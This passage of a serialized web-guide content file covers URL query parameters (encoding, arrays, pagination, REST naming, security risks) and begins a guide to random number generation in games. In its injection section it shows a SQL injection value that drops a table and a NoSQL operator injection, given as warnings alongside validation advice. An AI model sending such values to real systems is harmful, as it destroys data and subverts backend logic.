%20\n",[1560,172624,172625,172627,172629,172631,172633,172636,172638,172640],{"class":1562,"line":343},[1560,172626,20807],{"class":1669},[1560,172628,34203],{"class":1566},[1560,172630,34206],{"class":1570},[1560,172632,34175],{"class":5634},[1560,172634,172635],{"class":1570}," }).",[1560,172637,10052],{"class":1566},[1560,172639,42820],{"class":1570},[1560,172641,172642],{"class":1649},"\u002F\u002F \"q=hello+world\" — uses +\n",[16,172644,172645],{},"When decoding, always use the right method for how the value was encoded. Mixing them produces incorrect results.",[33,172647,172648],{"id":119631},"Double Encoding Trap",[16,172650,172651],{},"If you encode a value that is already encoded, you break the data:",[135,172653,172655],{"className":1607,"code":172654,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: double encoding\nencodeURIComponent(encodeURIComponent('a&b'))\n\u002F\u002F \"a%2526b\" — the %26 got re-encoded to %2526\n\n\u002F\u002F CORRECT: encode once\nencodeURIComponent('a&b')\n\u002F\u002F \"a%26b\"\n",[143,172656,172657,172662,172676,172681,172685,172690,172700],{"__ignoreMap":141},[1560,172658,172659],{"class":1562,"line":1563},[1560,172660,172661],{"class":1649},"\u002F\u002F WRONG: double encoding\n",[1560,172663,172664,172666,172668,172670,172672,172674],{"class":1562,"line":337},[1560,172665,33827],{"class":1566},[1560,172667,1688],{"class":1570},[1560,172669,33827],{"class":1566},[1560,172671,1688],{"class":1570},[1560,172673,119658],{"class":5634},[1560,172675,9429],{"class":1570},[1560,172677,172678],{"class":1562,"line":343},[1560,172679,172680],{"class":1649},"\u002F\u002F \"a%2526b\" — the %26 got re-encoded to %2526\n",[1560,172682,172683],{"class":1562,"line":365},[1560,172684,1702],{"emptyLinePlaceholder":363},[1560,172686,172687],{"class":1562,"line":889},[1560,172688,172689],{"class":1649},"\u002F\u002F CORRECT: encode once\n",[1560,172691,172692,172694,172696,172698],{"class":1562,"line":1710},[1560,172693,33827],{"class":1566},[1560,172695,1688],{"class":1570},[1560,172697,119658],{"class":5634},[1560,172699,8252],{"class":1570},[1560,172701,172702],{"class":1562,"line":1717},[1560,172703,172704],{"class":1649},"\u002F\u002F \"a%26b\"\n",[16,172706,172707],{},"Check whether data is already encoded before encoding it again.",[11,172709,172711],{"id":172710},"array-parameters","Array Parameters",[16,172713,172714],{},"Passing arrays in query strings has no single standard. Three common patterns exist:",[193,172716,172717,172727],{},[196,172718,172719],{},[199,172720,172721,172723,172725],{},[202,172722,9085],{},[202,172724,133],{},[202,172726,14177],{},[211,172728,172729,172742,172755],{},[199,172730,172731,172734,172739],{},[216,172732,172733],{},"Repeated key",[216,172735,172736],{},[143,172737,172738],{},"?id=1&id=2&id=3",[216,172740,172741],{},"PHP, Express, most frameworks",[199,172743,172744,172747,172752],{},[216,172745,172746],{},"Bracket notation",[216,172748,172749],{},[143,172750,172751],{},"?id[]=1&id[]=2",[216,172753,172754],{},"PHP, Rails",[199,172756,172757,172760,172765],{},[216,172758,172759],{},"Comma-separated",[216,172761,172762],{},[143,172763,172764],{},"?ids=1,2,3",[216,172766,172767],{},"Custom APIs, some REST services",[33,172769,172770],{"id":68593},"Which should you use?",[41,172772,172773,172782,172789],{},[44,172774,172775,172777,172778,172781],{},[47,172776,172733],{}," — the most widely supported. Most server frameworks parse ",[143,172779,172780],{},"?id=1&id=2"," into an array automatically.",[44,172783,172784,172786,172787,140357],{},[47,172785,172746],{}," — explicit but requires server-side support for ",[143,172788,103232],{},[44,172790,172791,172793],{},[47,172792,172759],{}," — compact but forces you to split strings server-side. Does not work if values contain commas.",[16,172795,172796],{},"Pick one convention and document it in your API specification.",[11,172798,172800],{"id":172799},"pagination-patterns","Pagination Patterns",[16,172802,172803],{},"Query parameters drive pagination in nearly every list API. Two main patterns dominate:",[33,172805,172807],{"id":172806},"offset-based-pagination","Offset-Based Pagination",[135,172809,172812],{"className":172810,"code":172811,"language":140},[138],"GET \u002Fapi\u002Fproducts?page=2&limit=20\n",[143,172813,172811],{"__ignoreMap":141},[193,172815,172816,172825],{},[196,172817,172818],{},[199,172819,172820,172823],{},[202,172821,172822],{},"Parameter",[202,172824,2758],{},[211,172826,172827,172836,172846],{},[199,172828,172829,172833],{},[216,172830,172831],{},[143,172832,119275],{},[216,172834,172835],{},"Current page number (1-based)",[199,172837,172838,172843],{},[216,172839,172840],{},[143,172841,172842],{},"limit",[216,172844,172845],{},"Items per page",[199,172847,172848,172852],{},[216,172849,172850],{},[143,172851,28978],{},[216,172853,172854,172855,172857],{},"Alternative to ",[143,172856,119275],{}," — skip N items",[16,172859,172860,172862],{},[47,172861,37212],{}," Simple, allows jumping to any page.",[16,172864,172865,172867,172868,172871],{},[47,172866,37216],{}," Slow for large offsets (",[143,172869,172870],{},"OFFSET 100000"," scans 100K rows). Items may be skipped or duplicated if data changes between requests.",[33,172873,172875],{"id":172874},"cursor-based-pagination","Cursor-Based Pagination",[135,172877,172880],{"className":172878,"code":172879,"language":140},[138],"GET \u002Fapi\u002Fproducts?cursor=abc123&limit=20\n",[143,172881,172879],{"__ignoreMap":141},[193,172883,172884,172892],{},[196,172885,172886],{},[199,172887,172888,172890],{},[202,172889,172822],{},[202,172891,2758],{},[211,172893,172894,172904],{},[199,172895,172896,172901],{},[216,172897,172898],{},[143,172899,172900],{},"cursor",[216,172902,172903],{},"Opaque token pointing to the position",[199,172905,172906,172910],{},[216,172907,172908],{},[143,172909,172842],{},[216,172911,172845],{},[16,172913,172914,172916],{},[47,172915,37212],{}," Consistent results even when data changes. Fast — no offset scanning.",[16,172918,172919,172921,172922,172925],{},[47,172920,37216],{}," No random page access. Requires the client to follow ",[143,172923,172924],{},"next_cursor"," links.",[16,172927,172928],{},"Use cursor-based pagination for large or frequently changing datasets. Use offset-based for small, static collections where page jumping matters.",[11,172930,172932],{"id":172931},"rest-api-parameter-conventions","REST API Parameter Conventions",[16,172934,172935],{},"Well-designed REST APIs follow consistent parameter naming:",[193,172937,172938,172948],{},[196,172939,172940],{},[199,172941,172942,172944,172946],{},[202,172943,172822],{},[202,172945,2758],{},[202,172947,133],{},[211,172949,172950,172964,172978,172993,173008,173022,173036],{},[199,172951,172952,172956,172959],{},[216,172953,172954],{},[143,172955,23109],{},[216,172957,172958],{},"Apply conditions",[216,172960,172961],{},[143,172962,172963],{},"?filter=status:active",[199,172965,172966,172970,172973],{},[216,172967,172968],{},[143,172969,100488],{},[216,172971,172972],{},"Sort results",[216,172974,172975],{},[143,172976,172977],{},"?sort=created_at:desc",[199,172979,172980,172985,172988],{},[216,172981,172982],{},[143,172983,172984],{},"fields",[216,172986,172987],{},"Select specific fields",[216,172989,172990],{},[143,172991,172992],{},"?fields=id,name,email",[199,172994,172995,173000,173003],{},[216,172996,172997],{},[143,172998,172999],{},"embed",[216,173001,173002],{},"Include related resources",[216,173004,173005],{},[143,173006,173007],{},"?embed=author,comments",[199,173009,173010,173014,173017],{},[216,173011,173012],{},[143,173013,119266],{},[216,173015,173016],{},"Search query",[216,173018,173019],{},[143,173020,173021],{},"?q=blue+shirt",[199,173023,173024,173028,173031],{},[216,173025,173026],{},[143,173027,172842],{},[216,173029,173030],{},"Max items to return",[216,173032,173033],{},[143,173034,173035],{},"?limit=50",[199,173037,173038,173042,173045],{},[216,173039,173040],{},[143,173041,119275],{},[216,173043,173044],{},"Page number",[216,173046,173047],{},[143,173048,173049],{},"?page=3",[16,173051,173052,173053,88000,173055,173057],{},"Keep parameter names lowercase and use underscores for multi-word names: ",[143,173054,38494],{},[143,173056,38498],{},". Consistency matters more than the specific convention — just pick one and stick to it.",[11,173059,173061],{"id":173060},"security-risks","Security Risks",[33,173063,173065],{"id":173064},"sensitive-data-in-urls","Sensitive Data in URLs",[16,173067,173068],{},"Query parameters appear in browser history, server logs, referrer headers, and analytics tools. Never put secrets in a URL:",[135,173070,173073],{"className":173071,"code":173072,"language":140},[138],"\u002F\u002F DANGEROUS — exposes the token\nGET \u002Fapi\u002Fdata?token=abc123secret\n\n\u002F\u002F SAFE — send via header\nGET \u002Fapi\u002Fdata\nAuthorization: Bearer abc123secret\n",[143,173074,173072],{"__ignoreMap":141},[16,173076,173077],{},"Sensitive values — API keys, passwords, session tokens — must travel in headers or request bodies, never in query strings.",[33,173079,173081],{"id":173080},"parameter-injection","Parameter Injection",[16,173083,173084],{},"Unvalidated query parameters can inject commands or manipulate backend logic:",[135,173086,173089],{"className":173087,"code":173088,"language":140},[138],"\u002F\u002F SQL injection via sort parameter\n?sort=price; DROP TABLE products--\n\n\u002F\u002F NoSQL injection via filter\n?filter[$gt]=\n",[143,173090,173088],{"__ignoreMap":141},[16,173092,173093,173094,31407],{},"Always validate and sanitize query parameters server-side. Use allowlists for sort fields and filter keys. For more on URL-based attacks, see our ",[98,173095,102137],{"href":102136},[33,173097,98846],{"id":98845},[16,173099,173100],{},"Browsers and servers impose URL length limits:",[193,173102,173103,173111],{},[196,173104,173105],{},[199,173106,173107,173109],{},[202,173108,29085],{},[202,173110,2976],{},[211,173112,173113,173120,173127,173135,173143],{},[199,173114,173115,173117],{},[216,173116,5534],{},[216,173118,173119],{},"~2 MB",[199,173121,173122,173124],{},[216,173123,5542],{},[216,173125,173126],{},"~65,536 characters",[199,173128,173129,173132],{},[216,173130,173131],{},"Internet Explorer",[216,173133,173134],{},"2,083 characters",[199,173136,173137,173140],{},[216,173138,173139],{},"Apache",[216,173141,173142],{},"8,190 characters",[199,173144,173145,173148],{},[216,173146,173147],{},"Nginx",[216,173149,173150],{},"4,096–8,192 characters",[16,173152,173153,173154,468],{},"If your query string exceeds a few thousand characters, move data to the request body using ",[143,173155,173156],{},"POST",[11,173158,1355],{"id":1354},[41,173160,173161,173172,173180,173183,173186,173198,173201],{},[44,173162,173163,173164,173166,173167,173169,173170],{},"Query strings start with ",[143,173165,33994],{}," and contain ",[143,173168,172410],{}," pairs separated by ",[143,173171,13530],{},[44,173173,173174,173175,1531,173177,173179],{},"Spaces can be ",[143,173176,34150],{},[143,173178,9448],{},", but the two are not interchangeable — know which encoding your system uses",[44,173181,173182],{},"Array parameters have three styles: repeated keys, brackets, and comma-separated",[44,173184,173185],{},"Cursor-based pagination outperforms offset-based for large datasets",[44,173187,173188,173189,1459,173191,1459,173193,1466,173195,173197],{},"REST APIs commonly use ",[143,173190,23109],{},[143,173192,100488],{},[143,173194,172984],{},[143,173196,172999],{}," parameters",[44,173199,173200],{},"Never place sensitive data in query strings — it leaks into logs and history",[44,173202,173203],{},"Validate all query parameters server-side to prevent injection attacks",[11,173205,321],{"id":320},[41,173207,173208,173212,173216],{},[44,173209,173210],{},[98,173211,102125],{"href":102124},[44,173213,173214],{},[98,173215,102137],{"href":102136},[44,173217,173218],{},[98,173219,12185],{"href":12184},[11,173221,286],{"id":285},[16,173223,173224,173225,173227,173228,173230],{},"Parse and inspect query parameters instantly with our free ",[98,173226,99078],{"href":99077},". Need to encode or decode parameter values? Try the ",[98,173229,120079],{"href":34509}," — it handles percent-encoding, plus signs, and special characters correctly in one click.",[2043,173232,173233],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":173235},[173236,173237,173238,173243,173246,173250,173251,173256,173257,173258],{"id":172391,"depth":337,"text":172392},{"id":172417,"depth":337,"text":172418},{"id":172467,"depth":337,"text":172468,"children":173239},[173240,173242],{"id":172571,"depth":343,"text":173241},"Space Encoding: %20 vs +",{"id":119631,"depth":343,"text":172648},{"id":172710,"depth":337,"text":172711,"children":173244},[173245],{"id":68593,"depth":343,"text":172770},{"id":172799,"depth":337,"text":172800,"children":173247},[173248,173249],{"id":172806,"depth":343,"text":172807},{"id":172874,"depth":343,"text":172875},{"id":172931,"depth":337,"text":172932},{"id":173060,"depth":337,"text":173061,"children":173252},[173253,173254,173255],{"id":173064,"depth":343,"text":173065},{"id":173080,"depth":343,"text":173081},{"id":98845,"depth":343,"text":98846},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Everything about URL query parameters — syntax, encoding rules, arrays, pagination patterns, and REST API conventions.",{"immutable":363},{"title":172386,"description":173259},"guides\u002Fquery-parameters-guide","ROM9nqHUeVlgur56YjrngjPGnyqpZDyY8GYa2AEOwtM",{"id":173265,"title":173266,"body":173267,"date":2070,"description":174800,"extension":361,"meta":174801,"navigation":363,"path":174804,"readingTime":1717,"seo":174805,"stem":174806,"__hash__":174807},"guides\u002Fguides\u002Frandom-number-generation-games.md","Random Number Generation in Games: Fairness, Fun, and Mechanics",{"type":8,"value":173268,"toc":174779},[173269,173273,173276,173289,173293,173386,173390,173393,173397,173400,173560,173564,173567,173571,173574,173578,173581,173600,173846,173850,173854,173857,174089,174093,174096,174241,174245,174248,174308,174312,174315,174411,174415,174418,174732,174734,174754,174756,174762,174764,174776],[11,173270,173272],{"id":173271},"randomness-is-the-heart-of-games","Randomness Is the Heart of Games",[16,173274,173275],{},"Without randomness, every game session would play identically. Cards would always draw in the same order, enemies would follow the same patrol routes, and loot would always drop the same items. Randomness is what makes games replayable, surprising, and emotionally engaging.",[16,173277,173278,173279,1459,173282,1466,173285,173288],{},"But randomness in games is not the same as randomness in cryptography. Game RNG prioritizes ",[47,173280,173281],{},"speed",[47,173283,173284],{},"reproducibility",[47,173286,173287],{},"designer control"," — not unpredictability against attackers.",[11,173290,173292],{"id":173291},"where-games-use-randomness","Where Games Use Randomness",[193,173294,173295,173307],{},[196,173296,173297],{},[199,173298,173299,173301,173304],{},[202,173300,67119],{},[202,173302,173303],{},"What It Randomizes",[202,173305,173306],{},"Design Goal",[211,173308,173309,173320,173331,173342,173353,173364,173375],{},[199,173310,173311,173314,173317],{},[216,173312,173313],{},"Loot drops",[216,173315,173316],{},"Item type, rarity, stats",[216,173318,173319],{},"Reward anticipation, progression",[199,173321,173322,173325,173328],{},[216,173323,173324],{},"Card shuffling",[216,173326,173327],{},"Deck order",[216,173329,173330],{},"Fairness, replayability",[199,173332,173333,173336,173339],{},[216,173334,173335],{},"Dice mechanics",[216,173337,173338],{},"Combat outcomes, skill checks",[216,173340,173341],{},"Uncertainty, drama",[199,173343,173344,173347,173350],{},[216,173345,173346],{},"Procedural generation",[216,173348,173349],{},"Terrain, rooms, levels",[216,173351,173352],{},"Unique experiences",[199,173354,173355,173358,173361],{},[216,173356,173357],{},"AI behavior",[216,173359,173360],{},"Patrol paths, attack choices",[216,173362,173363],{},"Unpredictability",[199,173365,173366,173369,173372],{},[216,173367,173368],{},"Critical hits",[216,173370,173371],{},"Extra damage chance",[216,173373,173374],{},"Excitement, risk\u002Freward",[199,173376,173377,173380,173383],{},[216,173378,173379],{},"Spawn locations",[216,173381,173382],{},"Enemy\u002Fitem placement",[216,173384,173385],{},"Exploration variety",[11,173387,173389],{"id":173388},"prngs-suitable-for-games","PRNGs Suitable for Games",[16,173391,173392],{},"Games need fast, deterministic PRNGs that produce good statistical distributions. Cryptographic generators are overkill and too slow for the volume of random calls games make per frame.",[33,173394,173396],{"id":173395},"xorshift128","Xorshift128+",[16,173398,173399],{},"The default in V8 (Chrome\u002FNode.js). Fast, good distribution, 128-bit state.",[135,173401,173403],{"className":1607,"code":173402,"language":1609,"meta":141,"style":141},"\u002F\u002F Simplified xorshift128+ (educational)\nlet state0 = 1, state1 = 2;\nfunction xorshift128plus() {\n  let s1 = state0;\n  let s0 = state1;\n  state0 = s0;\n  s1 ^= s1 \u003C\u003C 23;\n  s1 ^= s1 >> 17;\n  s1 ^= s0;\n  s1 ^= s0 >> 26;\n  state1 = s1;\n  return (s0 + s1) >>> 0;\n}\n",[143,173404,173405,173410,173430,173439,173451,173463,173473,173490,173505,173513,173527,173537,173556],{"__ignoreMap":141},[1560,173406,173407],{"class":1562,"line":1563},[1560,173408,173409],{"class":1649},"\u002F\u002F Simplified xorshift128+ (educational)\n",[1560,173411,173412,173414,173417,173419,173421,173424,173426,173428],{"class":1562,"line":337},[1560,173413,41680],{"class":1669},[1560,173415,173416],{"class":1570}," state0 ",[1560,173418,7297],{"class":1669},[1560,173420,18868],{"class":1576},[1560,173422,173423],{"class":1570},", state1 ",[1560,173425,7297],{"class":1669},[1560,173427,9426],{"class":1576},[1560,173429,2228],{"class":1570},[1560,173431,173432,173434,173437],{"class":1562,"line":343},[1560,173433,8648],{"class":1669},[1560,173435,173436],{"class":1566}," xorshift128plus",[1560,173438,8654],{"class":1570},[1560,173440,173441,173443,173446,173448],{"class":1562,"line":365},[1560,173442,38049],{"class":1669},[1560,173444,173445],{"class":1570}," s1 ",[1560,173447,7297],{"class":1669},[1560,173449,173450],{"class":1570}," state0;\n",[1560,173452,173453,173455,173458,173460],{"class":1562,"line":889},[1560,173454,38049],{"class":1669},[1560,173456,173457],{"class":1570}," s0 ",[1560,173459,7297],{"class":1669},[1560,173461,173462],{"class":1570}," state1;\n",[1560,173464,173465,173468,173470],{"class":1562,"line":1710},[1560,173466,173467],{"class":1570},"  state0 ",[1560,173469,7297],{"class":1669},[1560,173471,173472],{"class":1570}," s0;\n",[1560,173474,173475,173478,173481,173483,173485,173488],{"class":1562,"line":1717},[1560,173476,173477],{"class":1570},"  s1 ",[1560,173479,173480],{"class":1669},"^=",[1560,173482,173445],{"class":1570},[1560,173484,13487],{"class":1669},[1560,173486,173487],{"class":1576}," 23",[1560,173489,2228],{"class":1570},[1560,173491,173492,173494,173496,173498,173500,173503],{"class":1562,"line":1747},[1560,173493,173477],{"class":1570},[1560,173495,173480],{"class":1669},[1560,173497,173445],{"class":1570},[1560,173499,13571],{"class":1669},[1560,173501,173502],{"class":1576}," 17",[1560,173504,2228],{"class":1570},[1560,173506,173507,173509,173511],{"class":1562,"line":2507},[1560,173508,173477],{"class":1570},[1560,173510,173480],{"class":1669},[1560,173512,173472],{"class":1570},[1560,173514,173515,173517,173519,173521,173523,173525],{"class":1562,"line":2524},[1560,173516,173477],{"class":1570},[1560,173518,173480],{"class":1669},[1560,173520,173457],{"class":1570},[1560,173522,13571],{"class":1669},[1560,173524,22809],{"class":1576},[1560,173526,2228],{"class":1570},[1560,173528,173529,173532,173534],{"class":1562,"line":2529},[1560,173530,173531],{"class":1570},"  state1 ",[1560,173533,7297],{"class":1669},[1560,173535,173536],{"class":1570}," s1;\n",[1560,173538,173539,173541,173544,173546,173549,173552,173554],{"class":1562,"line":2534},[1560,173540,9350],{"class":1669},[1560,173542,173543],{"class":1570}," (s0 ",[1560,173545,9448],{"class":1669},[1560,173547,173548],{"class":1570}," s1) ",[1560,173550,173551],{"class":1669},">>>",[1560,173553,13541],{"class":1576},[1560,173555,2228],{"class":1570},[1560,173557,173558],{"class":1562,"line":2542},[1560,173559,1585],{"class":1570},[33,173561,173563],{"id":173562},"pcg-permuted-congruential-generator","PCG (Permuted Congruential Generator)",[16,173565,173566],{},"A newer family combining LCG speed with better statistical quality. Gaining adoption in game engines.",[33,173568,173570],{"id":173569},"mersenne-twister-mt19937","Mersenne Twister (MT19937)",[16,173572,173573],{},"The default in Python and many game engines. Extremely long period (2^19937 - 1), but large state (2.5 KB). Overkill for most games but widely available.",[11,173575,173577],{"id":173576},"seeded-rng-for-reproducibility","Seeded RNG for Reproducibility",[16,173579,173580],{},"Games often need reproducible randomness — the same seed should produce the same world. This is essential for:",[41,173582,173583,173589,173595],{},[44,173584,173585,173588],{},[47,173586,173587],{},"Deterministic replays",": Record seed + player inputs, not full game state",[44,173590,173591,173594],{},[47,173592,173593],{},"Shared worlds",": Multiplayer games synchronize seeds so all clients generate the same terrain",[44,173596,173597,173599],{},[47,173598,640],{},": Reproduce bugs by replaying with the same seed",[135,173601,173603],{"className":1607,"code":173602,"language":1609,"meta":141,"style":141},"\u002F\u002F Seeded PRNG for game worlds\nclass SeededRNG {\n  constructor(seed) {\n    this.seed = seed;\n  }\n\n  next() {\n    this.seed = (this.seed * 16807 + 0) % 2147483647;\n    return this.seed \u002F 2147483647;\n  }\n\n  \u002F\u002F Random integer in range [min, max)\n  nextInt(min, max) {\n    return Math.floor(this.next() * (max - min)) + min;\n  }\n}\n\nconst world = new SeededRNG(42);\nconst treeX = world.nextInt(0, 800);\nconst treeY = world.nextInt(0, 600);\n",[143,173604,173605,173610,173619,173630,173643,173647,173651,173658,173690,173705,173709,173713,173718,173733,173767,173771,173775,173779,173798,173823],{"__ignoreMap":141},[1560,173606,173607],{"class":1562,"line":1563},[1560,173608,173609],{"class":1649},"\u002F\u002F Seeded PRNG for game worlds\n",[1560,173611,173612,173614,173617],{"class":1562,"line":337},[1560,173613,163827],{"class":1669},[1560,173615,173616],{"class":1566}," SeededRNG",[1560,173618,1571],{"class":1570},[1560,173620,173621,173624,173626,173628],{"class":1562,"line":343},[1560,173622,173623],{"class":1669},"  constructor",[1560,173625,1688],{"class":1570},[1560,173627,41664],{"class":2219},[1560,173629,9345],{"class":1570},[1560,173631,173632,173635,173638,173640],{"class":1562,"line":365},[1560,173633,173634],{"class":1576},"    this",[1560,173636,173637],{"class":1570},".seed ",[1560,173639,7297],{"class":1669},[1560,173641,173642],{"class":1570}," seed;\n",[1560,173644,173645],{"class":1562,"line":889},[1560,173646,4959],{"class":1570},[1560,173648,173649],{"class":1562,"line":1710},[1560,173650,1702],{"emptyLinePlaceholder":363},[1560,173652,173653,173656],{"class":1562,"line":1717},[1560,173654,173655],{"class":1566},"  next",[1560,173657,8654],{"class":1570},[1560,173659,173660,173662,173664,173666,173668,173670,173672,173674,173677,173679,173681,173683,173685,173688],{"class":1562,"line":1747},[1560,173661,173634],{"class":1576},[1560,173663,173637],{"class":1570},[1560,173665,7297],{"class":1669},[1560,173667,5181],{"class":1570},[1560,173669,41235],{"class":1576},[1560,173671,173637],{"class":1570},[1560,173673,8069],{"class":1669},[1560,173675,173676],{"class":1576}," 16807",[1560,173678,29002],{"class":1669},[1560,173680,13541],{"class":1576},[1560,173682,1733],{"class":1570},[1560,173684,17990],{"class":1669},[1560,173686,173687],{"class":1576}," 2147483647",[1560,173689,2228],{"class":1570},[1560,173691,173692,173694,173697,173699,173701,173703],{"class":1562,"line":2507},[1560,173693,9434],{"class":1669},[1560,173695,173696],{"class":1576}," this",[1560,173698,173637],{"class":1570},[1560,173700,9423],{"class":1669},[1560,173702,173687],{"class":1576},[1560,173704,2228],{"class":1570},[1560,173706,173707],{"class":1562,"line":2524},[1560,173708,4959],{"class":1570},[1560,173710,173711],{"class":1562,"line":2529},[1560,173712,1702],{"emptyLinePlaceholder":363},[1560,173714,173715],{"class":1562,"line":2534},[1560,173716,173717],{"class":1649},"  \u002F\u002F Random integer in range [min, max)\n",[1560,173719,173720,173723,173725,173727,173729,173731],{"class":1562,"line":2542},[1560,173721,173722],{"class":1566},"  nextInt",[1560,173724,1688],{"class":1570},[1560,173726,28995],{"class":2219},[1560,173728,1459],{"class":1570},[1560,173730,9396],{"class":2219},[1560,173732,9345],{"class":1570},[1560,173734,173735,173737,173739,173741,173743,173745,173747,173750,173752,173754,173757,173759,173762,173764],{"class":1562,"line":2558},[1560,173736,9434],{"class":1669},[1560,173738,9393],{"class":1570},[1560,173740,9406],{"class":1566},[1560,173742,1688],{"class":1570},[1560,173744,41235],{"class":1576},[1560,173746,468],{"class":1570},[1560,173748,173749],{"class":1566},"next",[1560,173751,38111],{"class":1570},[1560,173753,8069],{"class":1669},[1560,173755,173756],{"class":1570}," (max ",[1560,173758,9412],{"class":1669},[1560,173760,173761],{"class":1570}," min)) ",[1560,173763,9448],{"class":1669},[1560,173765,173766],{"class":1570}," min;\n",[1560,173768,173769],{"class":1562,"line":2570},[1560,173770,4959],{"class":1570},[1560,173772,173773],{"class":1562,"line":6638},[1560,173774,1585],{"class":1570},[1560,173776,173777],{"class":1562,"line":11615},[1560,173778,1702],{"emptyLinePlaceholder":363},[1560,173780,173781,173783,173786,173788,173790,173792,173794,173796],{"class":1562,"line":11621},[1560,173782,8180],{"class":1669},[1560,173784,173785],{"class":1576}," world",[1560,173787,8186],{"class":1669},[1560,173789,11489],{"class":1669},[1560,173791,173616],{"class":1566},[1560,173793,1688],{"class":1570},[1560,173795,14520],{"class":1576},[1560,173797,1744],{"class":1570},[1560,173799,173800,173802,173805,173807,173810,173813,173815,173817,173819,173821],{"class":1562,"line":11633},[1560,173801,8180],{"class":1669},[1560,173803,173804],{"class":1576}," treeX",[1560,173806,8186],{"class":1669},[1560,173808,173809],{"class":1570}," world.",[1560,173811,173812],{"class":1566},"nextInt",[1560,173814,1688],{"class":1570},[1560,173816,5285],{"class":1576},[1560,173818,1459],{"class":1570},[1560,173820,1666],{"class":1576},[1560,173822,1744],{"class":1570},[1560,173824,173825,173827,173830,173832,173834,173836,173838,173840,173842,173844],{"class":1562,"line":11638},[1560,173826,8180],{"class":1669},[1560,173828,173829],{"class":1576}," treeY",[1560,173831,8186],{"class":1669},[1560,173833,173809],{"class":1570},[1560,173835,173812],{"class":1566},[1560,173837,1688],{"class":1570},[1560,173839,5285],{"class":1576},[1560,173841,1459],{"class":1570},[1560,173843,24601],{"class":1576},[1560,173845,1744],{"class":1570},[11,173847,173849],{"id":173848},"loot-drop-mechanics","Loot Drop Mechanics",[33,173851,173853],{"id":173852},"weighted-random-selection","Weighted Random Selection",[16,173855,173856],{},"Not all items drop with equal probability. Weighted selection assigns probabilities proportional to weights:",[135,173858,173860],{"className":1607,"code":173859,"language":1609,"meta":141,"style":141},"function weightedRandom(items) {\n  const totalWeight = items.reduce((sum, item) => sum + item.weight, 0);\n  let roll = Math.random() * totalWeight;\n\n  for (const item of items) {\n    roll -= item.weight;\n    if (roll \u003C= 0) return item;\n  }\n  return items[items.length - 1];\n}\n\n\u002F\u002F Usage\nconst loot = weightedRandom([\n  { name: 'Common Sword', weight: 60 },\n  { name: 'Rare Shield',  weight: 25 },\n  { name: 'Epic Ring',    weight: 10 },\n  { name: 'Legendary Staff', weight: 5 },\n]);\n",[143,173861,173862,173875,173915,173935,173939,173955,173965,173983,173987,174002,174006,174010,174015,174029,174044,174058,174072,174085],{"__ignoreMap":141},[1560,173863,173864,173866,173869,173871,173873],{"class":1562,"line":1563},[1560,173865,8648],{"class":1669},[1560,173867,173868],{"class":1566}," weightedRandom",[1560,173870,1688],{"class":1570},[1560,173872,164210],{"class":2219},[1560,173874,9345],{"class":1570},[1560,173876,173877,173879,173882,173884,173887,173889,173891,173894,173896,173899,173901,173903,173906,173908,173911,173913],{"class":1562,"line":337},[1560,173878,28057],{"class":1669},[1560,173880,173881],{"class":1576}," totalWeight",[1560,173883,8186],{"class":1669},[1560,173885,173886],{"class":1570}," items.",[1560,173888,164234],{"class":1566},[1560,173890,11495],{"class":1570},[1560,173892,173893],{"class":2219},"sum",[1560,173895,1459],{"class":1570},[1560,173897,173898],{"class":2219},"item",[1560,173900,1733],{"class":1570},[1560,173902,11503],{"class":1669},[1560,173904,173905],{"class":1570}," sum ",[1560,173907,9448],{"class":1669},[1560,173909,173910],{"class":1570}," item.weight, ",[1560,173912,5285],{"class":1576},[1560,173914,1744],{"class":1570},[1560,173916,173917,173919,173922,173924,173926,173928,173930,173932],{"class":1562,"line":343},[1560,173918,38049],{"class":1669},[1560,173920,173921],{"class":1570}," roll ",[1560,173923,7297],{"class":1669},[1560,173925,9393],{"class":1570},[1560,173927,38108],{"class":1566},[1560,173929,38111],{"class":1570},[1560,173931,8069],{"class":1669},[1560,173933,173934],{"class":1570}," totalWeight;\n",[1560,173936,173937],{"class":1562,"line":365},[1560,173938,1702],{"emptyLinePlaceholder":363},[1560,173940,173941,173943,173945,173947,173950,173952],{"class":1562,"line":889},[1560,173942,82192],{"class":1669},[1560,173944,5181],{"class":1570},[1560,173946,8180],{"class":1669},[1560,173948,173949],{"class":1576}," item",[1560,173951,110658],{"class":1669},[1560,173953,173954],{"class":1570}," items) {\n",[1560,173956,173957,173960,173962],{"class":1562,"line":1710},[1560,173958,173959],{"class":1570},"    roll ",[1560,173961,82385],{"class":1669},[1560,173963,173964],{"class":1570}," item.weight;\n",[1560,173966,173967,173969,173972,173974,173976,173978,173980],{"class":1562,"line":1717},[1560,173968,11527],{"class":1669},[1560,173970,173971],{"class":1570}," (roll ",[1560,173973,22757],{"class":1669},[1560,173975,13541],{"class":1576},[1560,173977,1733],{"class":1570},[1560,173979,28313],{"class":1669},[1560,173981,173982],{"class":1570}," item;\n",[1560,173984,173985],{"class":1562,"line":1747},[1560,173986,4959],{"class":1570},[1560,173988,173989,173991,173994,173996,173998,174000],{"class":1562,"line":2507},[1560,173990,9350],{"class":1669},[1560,173992,173993],{"class":1570}," 